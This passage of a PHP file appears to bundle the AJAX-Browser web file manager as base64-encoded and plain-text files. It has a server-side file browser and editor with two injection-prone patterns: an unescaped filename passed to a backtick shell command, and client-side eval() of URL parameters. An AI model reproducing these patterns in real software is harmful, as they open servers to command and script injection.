pKQoJCXsKCQkJJHppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJHJhY2luZSwgJycsICRkaXIpKTsKCQkJJGxzdCA9IHNjYW5kaXIoJGRpcik7CgkJCQlhcnJheV9zaGlmdCgkbHN0KTsKCQkJCWFycmF5X3NoaWZ0KCRsc3QpOwoJCQlmb3JlYWNoICgkbHN0IGFzICRpdGVtKQoJCQkJJHRoaXMtPmFkZFppcEl0ZW0oJHppcCwgJHJhY2luZSwgJGRpci4kaXRlbS4oaXNfZGlyKCRkaXIuJGl0ZW0pPycvJzonJykpOwoJCX0KCQllbHNlaWYgKGlzX2ZpbGUoJGRpcikpCgkJCSR6aXAtPmFkZEZpbGUoJGRpciwgc3RyX3JlcGxhY2UoJHJhY2luZSwgJycsICRkaXIpKTsKCX0KfQo/Pg==',
  './AJAX-B/scripts/EditArea.php' => 'PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sOmxhbmc9ImZyIiA+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4KPHRpdGxlPkVkaXRBcmVhIFRlc3Q8L3RpdGxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iPD9waHAgZWNobyBJTlNUQUxfRElSOyA/Pi9zY3JpcHRzL0RvbS1BSkFYLmpzIj48L3NjcmlwdD4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Ijw/cGhwIGVjaG8gSU5TVEFMX0RJUjsgPz4vc2NyaXB0cy9Eb20tVVRGOEJhc2U2NC5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiIHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSI8P3BocCBlY2hvIElOU1RBTF9ESVI7ID8+L2VkaXRfYXJlYS9lZGl0X2FyZWEuanMiPjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iPD9waHAgZWNobyBJTlNUQUxfRElSOyA/Pi9lZGl0X2FyZWEvZWRpdF9hcmVhX2xvYWRlci5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiIHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSI8P3BocCBlY2hvIElOU1RBTF9ESVI7ID8+L2VkaXRfYXJlYS9lZGl0X2FyZWFfZnVuY3Rpb25zLmpzIj48L3NjcmlwdD4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCUFCUzkwMD0nZXJyZXVyICEnOwoJdmFyIFNlcnZBY3RQYWdlID0gKChsb2NhdGlvbi5ocmVmLnNwbGl0KCI/IikpWzBdKTsKCWxzdEdldCA9IGxvY2F0aW9uLnNlYXJjaC5zbGljZSgxLHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gubGVuZ3RoKS5zcGxpdCgiJiIpOwoJZm9yKGk9MDtsc3RHZXRbaV07aSsrKQoJewoJCWV2YWwoKGxzdEdldFtpXS5zcGxpdCgiPSIpKVswXSsiPSciKyhsc3RHZXRbaV0uc3BsaXQoIj0iKSlbMV0rIic7Iik7Cgl9CglmdW5jdGlvbiBTYXZlTWUgKGlkLCBjb250ZW50KQoJewoJCVJRVC5nZXQKCQkoU2VydkFjdFBhZ2UsCgkJCXsKCQkJCXBhcmFtZXRlcnM6J21vZGU9cmVxdWVzdCZjcHNhdmU9Jyt2aWV3KycmZGF0YTY0PScrYmFzZTY0LmVuY29kZShjb250ZW50KSwKCQkJCW9uRW5kOid0b3AuZG9jdW1lbnQudGl0bGU9YmFzZTY0LmRlY29kZSh2aWV3KSsiID0+IExhc3QgU2F2ZWQgOiAiK3JlcXVlc3QucmVzcG9uc2VUZXh0OycKCQkJfQoJCSk7Cgl9Ci8vIAlmdW5jdGlvbiBOb3RTYXZlZCAoaWQsIGNvbnRlbnQpCi8vIAl7Ci8vIAkJdG9wLmRvY3VtZW50LnRpdGxlPSIqIitiYXNlNjQuZGVjb2RlKHZpZXcpCi8vIAl9Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJZWRpdEFyZWFMb2FkZXIuaW5pdCh7CgkgaWQgOiAidGV4dGFyZWFfMSIJCS8vIHRleHRhcmVhIGlkCgksc3ludGF4OiAicGhwIgkJCS8vIHN5bnRheCB0byBiZSB1c2VzIGZvciBoaWdoZ2xpdGluZwovLyAJLHN0YXJ0X2hpZ2hsaWdodDogZmFsc2UJCS8vIHRvIGRpc3BsYXkgd2l0aCBoaWdobGlnaHQgbW9kZSBvbiBzdGFydC11cAoJLGxhbmd1YWdlOiAiZW4iCgksYWxsb3dfcmVzaXplOiAibm8iCgksYWxsb3dfdG9nZ2xlOiBmYWxzZQoJLGJyb3dzZXJzOiAiYWxsIgoJLHRvb2xiYXI6ICJzYXZlLCB8LCBzZWFyY2gsIGdvX3RvX2xpbmUsIHwsIHVuZG8sIHJlZG8sIHwsIGNoYXJtYXAsIHNlbGVjdF9mb250LCBzeW50YXhfc2VsZWN0aW9uLCB8LCBjaGFuZ2Vfc21vb3RoX3NlbGVjdGlvbiwgaGlnaGxpZ2h0LCByZXNldF9oaWdobGlnaHQsIHwsIGhlbHAiCgksc3ludGF4X3NlbGVjdGlvbl9hbGxvdzogImNzcyxodG1sLGpzLHBocCxweXRob24sdmIseG1sLGMsY3BwLHNxbCxiYXNpYyxwYXMsYnJhaW5mdWNrIgoJLHBsdWdpbnM6ICJjaGFybWFwIgoJLGZ1bGxzY3JlZW46IHRydWUKPD9waHAKCWlmICghJF9TRVNTSU9OWydBSkFYLUInXVsnZHJvaXRzJ11bJ0NQX0VESVQnXSkKCWVjaG8gIgksaXNfZWRpdGFibGU6IGZhbHNlXG4JLHN0YXJ0X2hpZ2hsaWdodDogdHJ1ZVxuIjsKPz4KLy8gICAgICAgICAsc2hvd19saW5lX2NvbG9yczogZmFsc2UKLy8gICAgICAgICAsZGlzcGxheTogIm9ubG9hZCIKLy8gICAgICAgICAsYmVnaW5fdG9vbGJhcjogIiIKLy8gICAgICAgICAsZW5kX3Rvb2xiYXI6ICIiCi8vICAgICAgICAgLGZvbnRfc2l6ZTogMTAKLy8gICAgICAgICAsZm9udF9mYW1pbHk6ICJtb25vc3BhY2UiCi8vICAgICAgICAgLGdlY2tvX3NwZWxsY2hlY2s6IGZhbHNlCi8vICAgICAgICAgLG1heF91bmRvOiAyMAovLyAgICAgICAgICxyZXBsYWNlX3RhYl9ieV9zcGFjZXM6IGZhbHNlCi8vICAgICAgICAgLGRlYnVnOmZhbHNlCi8vICAgICAgICAgLGxvYWRfY2FsbGJhY2s6ICIiCgksc2F2ZV9jYWxsYmFjazogIlNhdmVNZSIKLy8gICAgICAgICAsY2hhbmdlX2NhbGxiYWNrOiAiTm90U2F2ZWQiCi8vICAgICAgICAgLHN1Ym1pdF9jYWxsYmFjazogIiIKCSxFQV9pbml0X2NhbGxiYWNrOiAiZWE9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3RleHRhcmVhXzEnKTtlYS52YWx1ZSA9IGJhc2U2NC5kZWNvZGUoZWEudmFsdWUpO2VhLnN0eWxlLmRpc3BsYXk9J2Jsb2NrJzsiCi8vICAgICAgICAgLEVBX2RlbGV0ZV9jYWxsYmFjazogIiIKLy8gICAgICAgICAsRUFfdG9nZ2xlX29uX2NhbGxiYWNrOiAiIgovLyAgICAgICAgICxFQV90b2dnbGVfb2ZmX2NhbGxiYWNrOiAiIgovLyAgICAgICAgICxFQV9sb2FkX2NhbGxiYWNrOiAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3RleHRhcmVhXzEnKS5zdHlsZS5kaXNwbGF5PSdibG9jayc7IgovLyAgICAgICAgICxFQV91bmxvYWRfY2FsbGJhY2s6ICIiCi8vICAgICAgICAgLEVBX2ZpbGVfc3dpdGNoX29uX2NhbGxiYWNrOiAiIgovLyAgICAgICAgICxFQV9maWxlX3N3aXRjaF9vZmZfY2FsbGJhY2s6ICIiCi8vICAgICAgICAgLEVBX2ZpbGVfY2xvc2VfY2FsbGJhY2s6ICIiCn0pOwo8L3NjcmlwdD4KPC9oZWFkPgo8Ym9keT4KPGZvcm0gbWV0aG9kPSJwb3N0Ij4KCTx0ZXh0YXJlYSBpZD0idGV4dGFyZWFfMSIgbmFtZT0iY29udGVudCIgc3R5bGU9ImhlaWdodDogMTAwJTsgd2lkdGg6IDEwMCU7IGRpc3BsYXk6IG5vbmU7Ij48P3BocCBlY2hvIGVuY29kZTY0KGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7ID8+PC90ZXh0YXJlYT4KPC9mb3JtPgo8L2JvZHk+CjwvaHRtbD4KCg==',
  './AJAX-B/scripts/ExploreTools.php' => '<?php
/**-------------------------------------------------
 | AJAX-Browser  -  by Alban LOPEZ
 | Copyright (c) 2007 Alban LOPEZ
 | Email bugs/suggestions to alban.lopez@gmail.com
 +--------------------------------------------------
 | This script has been created and released under
 | the GNU GPL and is free to use and redistribute
 | only if this copyright statement is not removed
 +--------------------------------------------------*/

$modelArbs = '<div class="DivGroup" id="%item64%"><div class="This"><span class="left" title="%content%"><span class="IndentImg">%IndOffset%%ArbImg%</span><span class="IcoName"><IMG src="'.INSTAL_DIR.'icones/type-%icone%.png" ondblclick="_view(\'%item64%\', event)"/><span class="Name" onclick="_rename();">%item%</span></span></span><span class="right"><div class="RowTaille" title="%real_size%">%size%</div><div class="RowMIME">%type%</div><div class="RowDate" title="%real_date%">%date%</div><div class="RowDroits" title="UID:%uidname% (%uid%), GID:%gidname% (%gid%)">%droits%</div></span></div><div class="Content"></div></div>';

$modelGal='<div class="Gal" id="%item64%" title="%item% => %size% (%real_size%)" ondblclick="_view(\'%item64%\', event)"><table><tbody><tr><td><img src="%icone%">%name%</td></tr></tbody></table></div>';
	$totalContent = array();
function InfosByURL ($url, $allinfos=true, $base64=false)
{
	$infos = array();
// 	$imgtype = array('GIF','JPEG','PNG','SWF','PSD','BMP','TIFF','JPC','JP2','JPX','JB2','SWC','IFF','WBMP','XBM');
	if (is_file($url))
	{
		$infos['basename'] = $base64 ? encode64(UTF8basename($url)) : UTF8basename($url);
		$infos['size'] = GetFileSize($url);
		$infos['type'] = (function_exists('mime_content_type') && @mime_content_type($url)!="") ? str_replace(array("\t",'application'), array("",'appli.'), @mime_content_type($url)) : 'ext/'.strtolower(@pathinfo($url, PATHINFO_EXTENSION));
	}
	else
	{
		$infos['basename'] = $base64 ? encode64(UTF8basename($url).'/') : UTF8basename($url).'/';
		$infos['size'] = SizeDir ($url);
		$infos['type'] = 'Dossier';
	}
	if ($allinfos)
	{
		$infos['filemtime'] = date ('d/m/y H:i:s',@filemtime($url));		// date
		$infos['perm'] = Permission ($url);
		$usr = function_exists('posix_getpwuid') ? @posix_getpwuid(@fileowner($url)) : array('name' => '?', 'uid' => '?');
			$infos['uidname'] = $usr['name'];
			$infos['uid'] = $usr['uid'];
		$grp = function_exists('posix_getgrgid') ? @posix_getgrgid (@filegroup($url)) : array('name' => '?', 'gid' => '?');
			$infos['gidname'] = $grp['name'];
			$infos['gid'] = $grp['gid'];
		if (is_dir($url))
		{
			$infos['content0'] = CountDir($url, false);
			$infos['content1'] = CountFile($url, false); // ($tmp=DirSort ($url,'file'))?count ($tmp):0;	// count(subfile)
		}
		elseif (strpos($infos['type'], 'image') && @exif_imagetype($url))
			list ($infos['content0'], $infos['content1']) = @getimagesize($url);
	}
	return $infos;
}
function GetFileSize($file)
{
	$size = @trim(`stat -c%s $file`);
	if (ereg ("^[1-9][0-9]{1,99}$", $size))
		return $size;
	else
		return sprintf("%u", @filesize ($file));
}
function SizeDir ($Folder)
{
	global $speed, $StartPhpScripte, $OverTime, $match;
	$OverTime=3;
	if (microtime_float()-$StartPhpScripte < $OverTime && count(explode($Folder,'/')) < 30)
	{
		$SizeAll=0;
		$dirLst=DirSort ($Folder,'dir');
		if ($dirLst)
		{
			foreach ($dirLst as $dir)
				$SizeAll += SizeDir ($Folder.$dir.'/');
		}
		$fileLst=DirSort ($Folder, $match=='*' ? 'file' : explode(',', $match));
		if ($fileLst)
		{
			foreach ($fileLst as $key => $file)
				$SizeAll += GetFileSize($Folder.$file);
		}
		return sprintf("%u", $SizeAll);
	}
	else
		return -1;
}
function SizeAll($path)
{
	if (!is_dir($path))
		return @filesize($path);
	$dir = opendir($path);
	while ($file = readdir($dir))
	{
		if ($file!="." && $file !="..")
		{
			if (is_file($path."/".$file))
				$size+=@filesize($path."/".$file);
			elseif (is_dir($path."/".$file))
				$size +=SizeAll($path."/".$file);
		}
	}
	return $size;
}
function CountDir($path, $recursive=true)
{
	$nbr = 0;
	if (is_readable($path))
	{
		$dir = opendir($path);
		while ($file = readdir($dir))
		{
			if ($file!="." && $file !="..")
			{
				if (is_dir($path."/".$file) && ($_SESSION['AJAX-B']['droits']['.VIEW'] || !ereg ('^\.', $file)))
					$nbr += $recursive ? CountDir($path."/".$file, $recursive)+1 : 1;
			}
		}
	}
	return $nbr;
}
function CountFile($path, $recursive=true)
{
	global $match;
	$nbr = 0;
	if (is_readable($path))
	{
		$dir = opendir($path);
		while ($file = readdir($dir))
		{
			if ($file!="." && $file !="..")
			{
				if (is_file($path."/".$file) && ArrayMatch(explode(',', $match), $path."/".$file) && ($_SESSION['AJAX-B']['droits']['.VIEW'] || !ereg ('^\.', $file)))
					$nbr ++;
				elseif (is_dir($path."/".$file) && $recursive)
					$nbr += CountFile ($path."/".$file, $recursive);
			}
		}
	}
	return $nbr;
}
function ArrayMatch ($ArrayMask, $str)
{
	foreach ($ArrayMask as $mask)
		if (fnmatch($mask, $str)) return true;
	return false;
}
function DirSort ($rep, $mask='all', $Prefixe='')
{
	$type = array( 'dir' =>  true , 'file' => false);
	$Lst = false;
	if ($mask=='all')
	{
		$Lst1 = DirSort ($rep, 'dir', $Prefixe);		// cree une liste ordonnee des repertoires
		$Lst2 = DirSort ($rep, 'file', $Prefixe);		// cree une liste ordonnee des fichiers ( isset($_GET['match']) ? explode(',',$_GET['match']) : 'file' )
		if ($Lst2 || $Lst1)				// si l'un des 2 n'est pas vide...
			return array_merge( $Lst1 ? $Lst1 : array(), $Lst2 ? $Lst2 : array() );       // alors on renvois la concatenation des 2 string
		else return false;				// resultat d'un dossier vide
	}
	elseif (is_readable($rep) && $dh = opendir($rep))
	{
		while (($f = readdir($dh)) !== false)	// parcoure le contenu de Rep
		{
			if ($f != '.' && $f != '..')		// ignore les dossiers '.' et '..'
			{
				if (!is_array($mask))	// si on a demander tous le contenu (fichiers ou dossiers)
				{
					if ($type[$mask]==is_dir($rep.$f))
						$Lst[] = $Prefixe.$f.(is_dir($rep.$f)?'/':'');	// Liste un type de contenu (repertoires ou fichiers)
				}
				elseif ( ArrayMatch($mask, $f) && is_file($rep.$f) )
					$Lst[] = $Prefixe.$f;       // Liste un type de contenu (fichier de d'extension demander)
			}
		}
		closedir($dh);
	}
	if (is_array($Lst))        // si la liste n'est pas vide
	{
		sort($Lst, SORT_STRING);       //classe le contenu
		return array_values($Lst);   // pour que les clef soit dans l'ordre...
	}
	else return false;
}
function Permission ($url)
{// revoie une chaine decrivant les droits d'accees du fichier ou dossier (a la maniere linux...)
	$perms = @fileperms($url);

	if (($perms & 0xC000) == 0xC000)
	$info = 's';
	elseif (($perms & 0xA000) == 0xA000)
	$info = 'l';
	elseif (($perms & 0x8000) == 0x8000)
	$info = '-';
	elseif (($perms & 0x6000) == 0x6000)
	$info = 'b';
	elseif (($perms & 0x4000) == 0x4000)
	$info = 'd';
	elseif (($perms & 0x2000) == 0x2000)
	$info = 'c';
	elseif (($perms & 0x1000) == 0x1000)
	$info = 'p';
	else  // Inconnu
	$info = 'u';

	$info .= (($perms & 0x0100) ? 'r' : '-');// Proprietaire
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
	$info .= (($perms & 0x0020) ? 'r' : '-');// Groupe
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
	$info .= (($perms & 0x0004) ? 'r' : '-');// Tous
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

	return $info;
}
?>',
  './AJAX-B/scripts/Gallerie.php' => 'PGRpdiBjbGFzcz0iR2FsIj4KCTxkaXYgaWQ9Ijw/cGhwIGVjaG8gZW5jb2RlNjQoJHBhcmVudD1VblJlYWxQYXRoKGRlY29kZTY0KCRyYWNpbmU2NCkuJy4uLycpKTs/PiIgdGl0bGU9Jzw/cGhwIGVjaG8gJHBhcmVudDs/Picgb25jbGljaz0ibG9jYXRpb24uaHJlZj0nPD9waHAgZWNobyBzdHJfcmVwbGFjZSgkcmFjaW5lNjQsIGVuY29kZTY0KFVuUmVhbFBhdGgoJHBhcmVudCkpLCBSZWJ1aWxkVVJMKCkpOz8+JyI+CgkJPHRhYmxlPjx0Ym9keT48dHI+PHRkPgoJCQk8aW1nIHNyYz0iPD9waHAgZWNobyBJTlNUQUxfRElSOyA/Pmljb25lcy90eXBlLWZvbGRlci4uLnBuZyI+PGJyPgoJCQk8cCBjbGFzcz0ibmFtZSI+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLy8nLCAnLycsIHJlYWxwYXRoKCRwYXJlbnQpLicvJyk7Pz48L3A+CgkJPC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT4KCTwvZGl2Pgo8L2Rpdj4KPGRpdiBpZD0iR2FsIj4KPC9kaXY+',
  './AJAX-B/scripts/GallerieAddon.php' => 'PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgovKiotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiB8IEFKQVgtQnJvd3NlciAgLSAgYnkgQWxiYW4gTE9QRVoKIHwgQ29weXJpZ2h0IChjKSAyMDA3IEFsYmFuIExPUEVaCiB8IEVtYWlsIGJ1Z3Mvc3VnZ2VzdGlvbnMgdG8gYWxiYW4ubG9wZXpAZ21haWwuY29tCiArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIHwgVGhpcyBzY3JpcHQgaGFzIGJlZW4gY3JlYXRlZCBhbmQgcmVsZWFzZWQgdW5kZXIKIHwgdGhlIEdOVSBHUEwgYW5kIGlzIGZyZWUgdG8gdXNlIGFuZCByZWRpc3RyaWJ1dGUKIHwgb25seSBpZiB0aGlzIGNvcHlyaWdodCBzdGF0ZW1lbnQgaXMgbm90IHJlbW92ZWQKICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCgl2YXIgbW9kZWwgPSAiPD9waHAgZWNobyBzdHJfcmVwbGFjZShhcnJheSgnIicsIlxuIiksIGFycmF5KCdcIicsJ1xuJyksICRtb2RlbEdhbCk7ID8+IjsKCU1pbmlMc3QgPSBuZXcgQXJyYXkoKTsKCUlEKCdBbGwnKS5vbmNvbnRleHRtZW51PWZ1bmN0aW9uIChldmVudCkgeyBldmVudC5zdG9wUHJvcGFnYXRpb24oKTtyZXR1cm4gZmFsc2U7IH07IC8vIGJsb2NrIGxlIGNsaWNrIGRyb2l0IHNvdXMgZmlyZWZveApmdW5jdGlvbiBSZXF1ZXN0TG9hZChkaXI2NCkKey8vIGljaSBkaXI2NCBuZSBzZXJ0IGEgcmllbiwgbWFpcyBpbCBlc3QgaW1wb3PDqSBwYXIgcGFyIGxlIGNvZGUgZW4gbW9kZSBhcmJvcmVzY2VuY2UgIQoJUlFULmdldAoJKFNlcnZBY3RQYWdlLCAvLyBvbiBqb2ludCBsYSBwYWdlIGVuIGNvdXIKCQl7CgkJCXBhcmFtZXRlcnM6J21vZGU9cmVxdWVzdCZzdWJsc3RvZj0nK3JhY2luZTY0KycmbGlnaHQ9b24nKycmbWF0Y2g9JyttYXRjaCwKCQkJb25FbmQ6J09wZW5EaXIocmVxdWVzdC5yZXNwb25zZVRleHQuc3BsaXQoIlxcbiIpKTtNaW5pTHN0RGVmPU1pbmlMc3Q7aW50ZXJ2YWxJRD13aW5kb3cuc2V0SW50ZXJ2YWwobG9hZE1pbmksPD9waHAgZWNobyAkX1NFU1NJT05bJ0FKQVgtQiddWydtaW5pX2ludGVydmFsZSddOyA/Pik7JwoJCX0KCSk7Cn0KZnVuY3Rpb24gT3BlbkRpciAoYXJyYXkpCnsKIAl2YXIgaSwgSW5jbHVkZT0nJzsKCWZvciAoaT0xO2k8YXJyYXkubGVuZ3RoO2krKykKCQlJbmNsdWRlICs9IEFkZEl0ZW0gKGJhc2U2NC5kZWNvZGUocmFjaW5lNjQpLCBhcnJheVtpXSk7CglQdHJHYWwgPSBJRCAoIkdhbCIpOwoJUHRyR2FsLmlubmVySFRNTCA9IEluY2x1ZGU7Cn0KZnVuY3Rpb24gbG9hZE1pbmkoKQp7CglpZiAoTWluaUxzdC5sZW5ndGg+MCkKCXsKCQlmaXJzdCA9IE1pbmlMc3Quc2hpZnQoKTsKCQlJRChmaXJzdCkuY2hpbGROb2Rlc1swXS5maXJzdENoaWxkLmZpcnN0Q2hpbGQuZmlyc3RDaGlsZC5maXJzdENoaWxkLnNyYyA9IEluc3RhbGxEaXIrJ2ljb25lcy9Mb2FkaW5nLmdpZic7CgkJUlFULmdldAoJCShTZXJ2QWN0UGFnZSwgLy8gb24gam9pbnQgbGEgcGFnZSBlbiBjb3VyCgkJCXsKCQkJCXBhcmFtZXRlcnM6J21vZGU9cmVxdWVzdCZtaW5pb2Y9JytmaXJzdCwKCQkJCW9uRW5kOidJRCgiJytmaXJzdCsnIikuY2hpbGROb2Rlc1swXS5maXJzdENoaWxkLmZpcnN0Q2hpbGQuZmlyc3RDaGlsZC5maXJzdENoaWxkLnNyYyA9IHJlcXVlc3QucmVzcG9uc2VUZXh0JwoJCQl9CgkJKTsKCX0KCWVsc2UgaWYgKE1pbmlMc3QubGVuZ3RoPT0wKQoJewoJCXdpbmRvdy5jbGVhckludGVydmFsKGludGVydmFsSUQpOwoJCU1pbmlMc3Q9TWluaUxzdERlZjsKCQl3aW5kb3cuc2V0VGltZW91dCgiaW50ZXJ2YWxJRD13aW5kb3cuc2V0SW50ZXJ2YWwobG9hZE1pbmksPD9waHAgZWNobyAkX1NFU1NJT05bJ0FKQVgtQiddWydtaW5pX2ludGVydmFsZSddOyA/Pik7IiwgMzAwMCk7Cgl9Cn0KZnVuY3Rpb24gQWRkSXRlbShkaXIsIGVsZW1lbnQpCnsKCXZhciBpdGVtID0gZWxlbWVudC5zcGxpdCgnXHQnKTsKCWl0ZW1bMF0gPSBiYXNlNjQuZGVjb2RlKGl0ZW1bMF0pOwoJdmFyIGV4dCA9IGl0ZW1bMF0uc3BsaXQoIi4iKTsKCUl0ZW0gPSBtb2RlbC5yZXBsYWNlKC8laXRlbSUvZywgZXNjYXBlKGl0ZW1bMF0pKTsKCUl0ZW0gPSBJdGVtLnJlcGxhY2UoLyVpdGVtNjQlL2csIGJhc2U2NC5lbmNvZGUoZGlyK2l0ZW1bMF0pKTsKCUl0ZW0gPSBJdGVtLnJlcGxhY2UoLyVpY29uZSUvZyxJbnN0YWxsRGlyKydpY29uZXMvdHlwZS0nK0ZpbGVJY28oaXRlbVswXSkrJy5wbmcnKTsKCXR5cGVNaW1lID0gaXRlbVsyXS5yZXBsYWNlKC9eKFx3KylbL10oXHcrKSQvLCAiJDIiKS50b0xvd2VyQ2FzZSgpOwoJaWYgKHR5cGVNaW1lPT0icG5nIiB8fCB0eXBlTWltZT09ImpwZWciIHx8IHR5cGVNaW1lPT0ianBnIiB8fCB0eXBlTWltZT09ImdpZiIgfHwgdHlwZU1pbWU9PSJibXAiKQoJewoJCU1pbmlMc3QucHVzaChiYXNlNjQuZW5jb2RlKGRpcitpdGVtWzBdKSk7CgkJSXRlbSA9IEl0ZW0ucmVwbGFjZSgvJW5hbWUlL2csICcnKTsKCX0KCWVsc2UKCQlJdGVtID0gSXRlbS5yZXBsYWNlKC8lbmFtZSUvZywgJzxwIGNsYXNzPSJuYW1lIj4nK2l0ZW1bMF0rJzwvcD4nKTsKCUl0ZW0gPSBJdGVtLnJlcGxhY2UoLyVyZWFsX3NpemUlL2csIGl0ZW1bMV0pOwoJSXRlbSA9IEl0ZW0ucmVwbGFjZSgvJXNpemUlL2csIFNpemVDb252ZXJ0IChpdGVtWzFdKSk7CglJdGVtID0gSXRlbS5yZXBsYWNlKC8ldHlwZSUvZywgaXRlbVsyXSk7CglJdGVtID0gSXRlbS5yZXBsYWNlKC8lbGluayUvZywgaXNfZGlyKGl0ZW1bMF0pP2xvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKHJhY2luZTY0LCBiYXNlNjQuZW5jb2RlKGRpcitpdGVtWzBdKSk6Jz9tb2RlPXJlcXVlc3Qmdmlldz0nK2Jhc2U2NC5lbmNvZGUoZGlyK2l0ZW1bMF0pKTsKCXJldHVybiBJdGVtOwp9CmZ1bmN0aW9uIGZpbmRJdGVtNjQgKHB0cikKewoJd2hpbGUgKCFwdHIuaWQgfHwgcHRyLm5vZGVOYW1lIT0nRElWJyB8fCBwdHIuY2xhc3NOYW1lIT0iR2FsIikKCXsKCQlwdHIgPSBwdHIucGFyZW50Tm9kZTsKCQlpZiAocHRyLm5vZGVOYW1lPT0nQk9EWScpIHJldHVybiBmYWxzZTsKCX0KCXJldHVybiBwdHI7Cn0KZnVuY3Rpb24gQ2hhbmdlQkcgKFB0ckl0ZW0sIHN0YXR1dCkKewoJaWYgKCFQdHJJdGVtKSByZXR1cm4gbnVsbDsKCWVsc2UgaWYgKHN0YXR1dCkKCXsKCQlQdHJJdGVtLmNoaWxkTm9kZXNbMF0uZmlyc3RDaGlsZC5maXJzdENoaWxkLnN0eWxlLmJhY2tncm91bmRDb2xvcj0icmdiKDIyMCwyMzAsMjU1KSI7CgkJUHRySXRlbS5zdHlsZS5ib3JkZXJDb2xvcj0iIzMzMyI7Cgl9CgllbHNlCgl7CgkJUHRySXRlbS5jaGlsZE5vZGVzWzBdLmZpcnN0Q2hpbGQuZmlyc3RDaGlsZC5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9IiI7CgkJUHRySXRlbS5zdHlsZS5ib3JkZXJDb2xvcj0iI0RERCI7Cgl9CglyZXR1cm4gUHRySXRlbS5jaGlsZE5vZGVzWzBdLmZpcnN0Q2hpbGQuZmlyc3RDaGlsZDsKfQpmdW5jdGlvbiBpbm5lcklDT3MgKCkKewpzdHIgPSAnPGRpdiBjbGFzcz0iR2FsIHNtYWxsIj4nK0lEKFNlbGVjdExzdFswXSkuY2hpbGROb2Rlc1swXS5pbm5lckhUTUwrJzwvZGl2Pic7CmlmIChTZWxlY3RMc3RbMV0pCglzdHIgKz0gJzxkaXYgY2xhc3M9IkdhbCBzbWFsbCBjMSI+JytJRChTZWxlY3RMc3RbMV0pLmNoaWxkTm9kZXNbMF0uaW5uZXJIVE1MKyc8L2Rpdj4nOwppZiAoU2VsZWN0THN0WzJdKQoJc3RyICs9ICc8ZGl2IGNsYXNzPSJHYWwgc21hbGwgYzIiPicrSUQoU2VsZWN0THN0WzJdKS5jaGlsZE5vZGVzWzBdLmlubmVySFRNTCsnPC9kaXY+JzsKaWYgKFNlbGVjdExzdFszXSkKCXN0ciArPSAnPGRpdiBjbGFzcz0iR2FsIHNtYWxsIGMzIj4nK0lEKFNlbGVjdExzdFszXSkuY2hpbGROb2Rlc1swXS5pbm5lckhUTUwrJzwvZGl2Pic7CglyZXR1cm4gc3RyOwp9Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpwLm5hbWUge292ZXJmbG93OiBoaWRkZW47fQojR2FsIGRpdjpob3Zlcgp7CgliYWNrZ3JvdW5kOnJnYigyMzAsMjUwLDIxMCk7Cglib3JkZXI6c29saWQgMXB4ICM3Nzc7Cn0KLkdhbAp7Cglwb3NpdGlvbjpyZWxhdGl2ZTsKCWJvcmRlcjoxcHggc29saWQgI0RERDsKCWZsb2F0OmxlZnQ7CgloZWlnaHQ6PD9waHAgZWNobyAkX1NFU1NJT05bJ0FKQVgtQiddWydtaW5pX3NpemUnXSsyPz5weDsKCXdpZHRoOjw/cGhwIGVjaG8gJF9TRVNTSU9OWydBSkFYLUInXVsnbWluaV9zaXplJ10rMj8+cHg7CgltYXJnaW46MHB4IDFweCAxcHggMHB4OwoJcGFkZGluZzowcHg7Cgl6LWluZGV4OjM7Cn0KLkdhbCB0